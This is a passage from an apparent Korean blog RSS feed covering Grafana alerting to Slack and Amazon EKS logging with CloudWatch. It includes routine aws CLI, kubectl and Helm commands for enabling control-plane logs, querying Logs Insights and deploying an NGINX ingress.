&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;Alerting → Alert rules → Create alert rule : nginx 웹 요청 1분 동안 누적 60 이상 시 Alert을 설정해 봅니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1158&quot; data-origin-height=&quot;1062&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqqfkW/btsF8aIfsDV/yxbvphFydCIcIt1u9OzvaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqqfkW/btsF8aIfsDV/yxbvphFydCIcIt1u9OzvaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqqfkW/btsF8aIfsDV/yxbvphFydCIcIt1u9OzvaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdqqfkW%2FbtsF8aIfsDV%2FyxbvphFydCIcIt1u9OzvaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1158&quot; height=&quot;1062&quot; data-origin-width=&quot;1158&quot; data-origin-height=&quot;1062&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;Folder와 Evaluation group(1m), Pending period(1m) 은 +New ... 클릭 후 신규로 만들어 주어야 새로운 Rule이 생성됩니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1187&quot; data-origin-height=&quot;461&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XEGfw/btsF89a1cyK/0hu22zb6tFXsRaDHRU1gi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XEGfw/btsF89a1cyK/0hu22zb6tFXsRaDHRU1gi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XEGfw/btsF89a1cyK/0hu22zb6tFXsRaDHRU1gi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXEGfw%2FbtsF89a1cyK%2F0hu22zb6tFXsRaDHRU1gi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1187&quot; height=&quot;461&quot; data-origin-width=&quot;1187&quot; data-origin-height=&quot;461&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;Alerting → Contact points → Add contact point : 슬랙으로의 알람을 설정한 뒤 테스트 버튼을 눌러 알람이 전송되는지 확인합니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1191&quot; data-origin-height=&quot;877&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zqy4G/btsF72pVh52/BKzMXcHs0x4NC7j1Nk8mRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zqy4G/btsF72pVh52/BKzMXcHs0x4NC7j1Nk8mRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zqy4G/btsF72pVh52/BKzMXcHs0x4NC7j1Nk8mRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fzqy4G%2FbtsF72pVh52%2FBKzMXcHs0x4NC7j1Nk8mRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1191&quot; height=&quot;877&quot; data-origin-width=&quot;1191&quot; data-origin-height=&quot;877&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;953&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1MDlT/btsF6hVFkRE/oV6hqGvPHWEat8dWVK4W6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1MDlT/btsF6hVFkRE/oV6hqGvPHWEat8dWVK4W6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1MDlT/btsF6hVFkRE/oV6hqGvPHWEat8dWVK4W6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1MDlT%2FbtsF6hVFkRE%2FoV6hqGvPHWEat8dWVK4W6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;953&quot; height=&quot;198&quot; data-origin-width=&quot;953&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;Alerting → Notification policies : Default contact point를 slack으로 변경할 수 있습니다.&lt;/p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1512&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdQsz0/btsF9DwaqaD/52Z8G49DCBAgc9Xmkjo3QK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdQsz0/btsF9DwaqaD/52Z8G49DCBAgc9Xmkjo3QK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdQsz0/btsF9DwaqaD/52Z8G49DCBAgc9Xmkjo3QK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdQsz0%2FbtsF9DwaqaD%2F52Z8G49DCBAgc9Xmkjo3QK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1512&quot; height=&quot;702&quot; data-origin-width=&quot;1512&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/10</guid>
      <comments>https://imxsuu.tistory.com/10#entry10comment</comments>
      <pubDate>Tue, 26 Mar 2024 18:01:11 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] Logging</title>
      <link>https://imxsuu.tistory.com/9</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;실습 환경은 &lt;a href=&quot;https://imxsuu.tistory.com/3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;u&gt;Amazon EKS 윈클릭 배포&lt;/u&gt;&lt;/a&gt;를 통해 배포하였으며 기존 환경에 ebs addon, ec2 iam role add, irsa lb, preCmd 설정이 추가되었으며 노드는 &lt;span style=&quot;color: #d44c47;&quot; data-token-index=&quot;1&quot;&gt;t3.xlarge&lt;/span&gt;(기본값) 사용하였습니다. 자세한 CloudFormation의 내용은 링크를 통해 다운받아 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711348873913&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick3.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Logging in EKS&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS의 자체적인 로깅 시스템을 CloudWatch라고 합니다. EKS에서 이를 사용하기 위해서는 EKS 콘솔의 관찰성 탭에서 볼 수 있는 제어 플레인 로깅을 활성화해 주어야 합니다. 명령어와 콘솔 화면에서 모두 제어할 수 있으며 활성화가 완료되면 CloudWatch 콘솔에서 로그 그룹이 생성된 모습을 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컨트롤 플레인의 로깅을 활성화해 봅니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711349068122&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 모든 로깅 활성화
aws eks update-cluster-config --region $AWS_DEFAULT_REGION --name $CLUSTER_NAME \
    --logging '{&quot;clusterLogging&quot;:[{&quot;types&quot;:[&quot;api&quot;,&quot;audit&quot;,&quot;authenticator&quot;,&quot;controllerManager&quot;,&quot;scheduler&quot;],&quot;enabled&quot;:true}]}'

# 로그 그룹 확인
aws logs describe-log-groups | jq

# 로그 tail 확인 : aws logs tail help
aws logs tail /aws/eks/$CLUSTER_NAME/cluster | more

# 신규 로그를 바로 출력
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --follow

# 필터 패턴
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --filter-pattern &amp;lt;필터 패턴&amp;gt;

# 로그 스트림이름
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --log-stream-name-prefix &amp;lt;로그 스트림 prefix&amp;gt; --follow
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --log-stream-name-prefix kube-controller-manager --follow
kubectl scale deployment -n kube-system coredns --replicas=1
kubectl scale deployment -n kube-system coredns --replicas=2

# 시간 지정: 1초(s) 1분(m) 1시간(h) 하루(d) 한주(w)
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --since 1h30m

# 짧게 출력
aws logs tail /aws/eks/$CLUSTER_NAME/cluster --since 1h30m --format short&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-25 오후 3.43.16.png&quot; data-origin-width=&quot;2050&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIc030/btsF1THqfhG/2wCpghOV1sXEUeuhJgzaqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIc030/btsF1THqfhG/2wCpghOV1sXEUeuhJgzaqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIc030/btsF1THqfhG/2wCpghOV1sXEUeuhJgzaqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIc030%2FbtsF1THqfhG%2F2wCpghOV1sXEUeuhJgzaqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2050&quot; height=&quot;238&quot; data-filename=&quot;스크린샷 2024-03-25 오후 3.43.16.png&quot; data-origin-width=&quot;2050&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-25 오후 3.45.12.png&quot; data-origin-width=&quot;2077&quot; data-origin-height=&quot;287&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I6AfH/btsF3B6HTUD/b7js2WRJqTOYHVaFa953x0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I6AfH/btsF3B6HTUD/b7js2WRJqTOYHVaFa953x0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I6AfH/btsF3B6HTUD/b7js2WRJqTOYHVaFa953x0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI6AfH%2FbtsF3B6HTUD%2Fb7js2WRJqTOYHVaFa953x0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2077&quot; height=&quot;287&quot; data-filename=&quot;스크린샷 2024-03-25 오후 3.45.12.png&quot; data-origin-width=&quot;2077&quot; data-origin-height=&quot;287&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CloudWatch 콘솔 화면에서 &lt;span style=&quot;color: #687078; text-align: left;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Logs Insights&lt;/span&gt; &lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;메뉴를 통해 쿼리문으로 특정 로그들을 조회할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1711349372597&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# EC2 Instance가 NodeNotReady 상태인 로그 검색
fields @timestamp, @message
| filter @message like /NodeNotReady/
| sort @timestamp desc

# kube-apiserver-audit 로그에서 userAgent 정렬해서 아래 4개 필드 정보 검색
fields userAgent, requestURI, @timestamp, @message
| filter @logStream ~= &quot;kube-apiserver-audit&quot;
| stats count(userAgent) as count by userAgent
| sort count desc

#
fields @timestamp, @message
| filter @logStream ~= &quot;kube-scheduler&quot;
| sort @timestamp desc

#
fields @timestamp, @message
| filter @logStream ~= &quot;authenticator&quot;
| sort @timestamp desc

#
fields @timestamp, @message
| filter @logStream ~= &quot;kube-controller-manager&quot;
| sort @timestamp desc&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Na7IE/btsF12xwMdm/iBYEUIyRPjbJVEaN3VEbA1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;2040&quot; data-origin-height=&quot;1098&quot; data-filename=&quot;스크린샷 2024-03-25 오후 3.47.57.png&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로깅 비활성화도 명령어를 통해 한번에 실행할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711349443904&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# EKS Control Plane 로깅(CloudWatch Logs) 비활성화
eksctl utils update-cluster-logging --cluster $CLUSTER_NAME --region $AWS_DEFAULT_REGION --disable-types all --approve

# 로그 그룹 삭제
aws logs delete-log-group --log-group-name /aws/eks/$CLUSTER_NAME/cluster&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 NGINX 웹서버를 통해 컨테이너(파드)의 로깅을 활성해 봅니다. ACM 퍼블릭 인증서가 없으면 도메인과 연결 시 인그레스에서 권한 문제로 주소를 생성하지 못합니다. 따라서 ACM 퍼블릭 인증서를 생성해주고 해당 인증서에 대한 Route53 도메인 검증 설정을 위한 Route53 레코드를 생성해줍니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711352233086&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# NGINX 웹서버 배포
helm repo add bitnami https://charts.bitnami.com/bitnami

# 도메인 입력
MyDomain=&amp;lt;자신의 도메인&amp;gt;

# 도메인 확인
echo $MyDomain

#ACM 퍼블릭 인증서 요청
CERT_ARN=$(aws acm request-certificate \
--domain-name $MyDomain \
--validation-method 'DNS' \
--key-algorithm 'RSA_2048' \
|jq --raw-output '.CertificateArn')

# 사용 리전의 인증서 ARN 확인
CERT_ARN=$(aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text)
echo $CERT_ARN

# 자신의 Route 53 도메인 ID 조회 및 변수 지정
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name &quot;${MyDomain}.&quot; --query &quot;HostedZones[0].Id&quot; --output text)

# 해당 인증서에 대한 Route53 도메인 검증 설정을 위한 Route53 레코드 생성
aws route53 change-resource-record-sets --hosted-zone-id $MyDnzHostedZoneId --change-batch file://cname.json

# 파라미터 파일 생성 : 인증서 ARN 지정하지 않아도 가능! 혹시 https 리스너 설정 안 될 경우 인증서 설정 추가(주석 제거)해서 배포 할 것
cat &amp;lt;&amp;lt;EOT &amp;gt; nginx-values.yaml
service:
  type: NodePort
  
networkPolicy:
  enabled: false

ingress:
  enabled: true
  ingressClassName: alb
  hostname: nginx.$MyDomain
  pathType: Prefix
  path: /
  annotations: 
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/target-type: ip
    alb.ingress.kubernetes.io/listen-ports: '[{&quot;HTTPS&quot;:443}, {&quot;HTTP&quot;:80}]'
    alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
    alb.ingress.kubernetes.io/success-codes: 200-399
    alb.ingress.kubernetes.io/load-balancer-name: $CLUSTER_NAME-ingress-alb
    alb.ingress.kubernetes.io/group.name: study
    alb.ingress.kubernetes.io/ssl-redirect: '443'
EOT
cat nginx-values.yaml | yh

# 배포
helm install nginx bitnami/nginx --version 15.14.0 -f nginx-values.yaml

# 확인
kubectl get ingress,deploy,svc,ep nginx
kubectl get targetgroupbindings # ALB TG 확인

# 접속 주소 확인 및 접속
echo -e &quot;Nginx WebServer URL = https://nginx.$MyDomain&quot;
curl -s https://nginx.$MyDomain
kubectl logs deploy/nginx -f&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-27 at 1.00.40 AM.png&quot; data-origin-width=&quot;2210&quot; data-origin-height=&quot;432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0xQIB/btsF6GmOxxD/T7WstmLBddQAslmkhuc8EK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0xQIB/btsF6GmOxxD/T7WstmLBddQAslmkhuc8EK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0xQIB/btsF6GmOxxD/T7WstmLBddQAslmkhuc8EK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0xQIB%2FbtsF6GmOxxD%2FT7WstmLBddQAslmkhuc8EK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2210&quot; height=&quot;432&quot; data-filename=&quot;Screenshot 2024-03-27 at 1.00.40 AM.png&quot; data-origin-width=&quot;2210&quot; data-origin-height=&quot;432&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-27 at 1.02.46 AM.png&quot; data-origin-width=&quot;1138&quot; data-origin-height=&quot;484&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bT2aL4/btsF4Yhsyp0/UQ1dp64B5kPkisxPXPDUGK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bT2aL4/btsF4Yhsyp0/UQ1dp64B5kPkisxPXPDUGK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bT2aL4/btsF4Yhsyp0/UQ1dp64B5kPkisxPXPDUGK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbT2aL4%2FbtsF4Yhsyp0%2FUQ1dp64B5kPkisxPXPDUGK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1138&quot; height=&quot;484&quot; data-filename=&quot;Screenshot 2024-03-27 at 1.02.46 AM.png&quot; data-origin-width=&quot;1138&quot; data-origin-height=&quot;484&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹페이지에서는 접속되지만 EC2에서 curl로 접속이 되지 않을 경우 이전 AWS DNS cache의 영향일 가능성이 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711469016521&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;## 외부에서는 접속이 잘되나, myeks EC2에서 url 접속이 잘 되지 않을 경우 : 이전 aws DNS cache 영향(추정)
dig +short nginx.$MyDomain
dig +short nginx.$MyDomain @192.168.0.2
dig +short nginx.$MyDomain @1.1.1.1
dig +short nginx.$MyDomain @8.8.8.8
cat /etc/resolv.conf
sed -i &quot;s/^nameserver 192.168.0.2/nameserver 1.1.1.1/g&quot; /etc/resolv.conf
cat /etc/resolv.conf
dig +short nginx.$MyDomain
dig +short nginx.$MyDomain @8.8.8.8
dig +short nginx.$MyDomain @192.168.0.2
curl -s https://nginx.$MyDomain
----

# 반복 접속
while true; do curl -s https://nginx.$MyDomain -I | head -n 1; date; sleep 1; done&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Helm으로 설치한 파드는 Helm으로 삭제합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711469091069&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# (참고) 삭제 시
helm uninstall nginx&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Container Insights metrics in Amazon CloudWatch &amp;amp; &lt;span data-token-index=&quot;1&quot;&gt;Fluent Bit (Logs)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 컨테이너 단위의 로그를 따로 출력하는 일은 많지 않고 실제로 서비스 운영에는 중앙화된 로그 시스템 솔루션이 필요합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CloudWatch Container Insight&lt;/b&gt;는 컨테이너형 애플리케이션 및 마이크로 서비스에 대한 &lt;b&gt;모니터링&lt;/b&gt;, &lt;b&gt;트러블 슈팅&lt;/b&gt; 및 &lt;b&gt;알람&lt;/b&gt;을 위한 &lt;b&gt;완전 관리형 관측 서비스&lt;/b&gt;입니다.&lt;/li&gt;
&lt;li&gt;CloudWatch 콘솔에서 &lt;b&gt;자동화된 대시보드&lt;/b&gt;를 통해 container metrics, Prometeus metrics, application logs 및 performance log events를 탐색, 분석 및 시각화할 수 있습니다.&lt;/li&gt;
&lt;li&gt;CloudWatch Container Insight는 CPU, 메모리, 디스크 및 네트워크와 같은 인프라 메트릭을 자동으로 수집합니다.&lt;/li&gt;
&lt;li&gt;EKS 클러스터의 crashloop backoffs와 같은 진단 정보를 제공하여 문제를 격리하고 신속하게 해결할 수 있도록 지원합니다.&lt;/li&gt;
&lt;li&gt;이러한 대시보드는 Amazon ECS, Amazon EKS, AWS ECS Fargate 그리고 EC2 위에 구동되는 k8s 클러스터에서 사용 가능합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;751&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWoFpO/btsF5GGlwkI/3CToEU1DAbmqiRCpAKCLV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWoFpO/btsF5GGlwkI/3CToEU1DAbmqiRCpAKCLV1/img.png&quot; data-alt=&quot;출처 :https://aws.amazon.com/ko/blogs/containers/fluent-bit-integration-in-cloudwatch-container-insights-for-eks/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWoFpO/btsF5GGlwkI/3CToEU1DAbmqiRCpAKCLV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWoFpO%2FbtsF5GGlwkI%2F3CToEU1DAbmqiRCpAKCLV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;751&quot; height=&quot;570&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;751&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://aws.amazon.com/ko/blogs/containers/fluent-bit-integration-in-cloudwatch-container-insights-for-eks/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;[수집]&lt;/b&gt;&amp;nbsp;&lt;b&gt;Fluent Bit&lt;/b&gt; 컨테이너를 &lt;b&gt;데몬셋&lt;/b&gt;으로 동작시키고, 아래 &lt;b&gt;3가지&lt;/b&gt; 종류의 &lt;b&gt;로그&lt;/b&gt;를 &lt;b&gt;CloudWatch Logs&lt;/b&gt; 에 전송합니다.
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;/aws/containerinsights/Cluster_Name/&lt;b&gt;application&lt;/b&gt; : 로그 소스(All log files in&amp;nbsp;/var/log/containers), 각 &lt;b&gt;컨테이너/파드 로그&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;/aws/containerinsights/Cluster_Name/&lt;b&gt;host&lt;/b&gt; : 로그 소스(Logs from&amp;nbsp;/var/log/dmesg,&amp;nbsp;/var/log/secure, and&amp;nbsp;/var/log/messages), &lt;b&gt;노드(호스트) 로그&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;/aws/containerinsights/Cluster_Name/&lt;b&gt;dataplane&lt;/b&gt; : 로그 소스(/var/log/journal&amp;nbsp;for&amp;nbsp;kubelet.service,&amp;nbsp;kubeproxy.service, and&amp;nbsp;docker.service), &lt;b&gt;쿠버네티스 데이터플레인 로그&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;[저장]&lt;/b&gt; : CloudWatch Logs 에 로그를 저장, 로그 그룹 별 로그 보존 기간 설정이 가능합니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;[시각화]&lt;/b&gt; : CloudWatch 의 Logs Insights 를 사용하여 대상 로그를 분석하고, CloudWatch 의 대시보드로 시각화합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;CloudWatch Container observability &lt;span style=&quot;font-family: 'Noto Serif KR'; background-color: #ffffff; color: #353638; text-align: center;&quot;&gt;as an Amazon EKS add-on&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
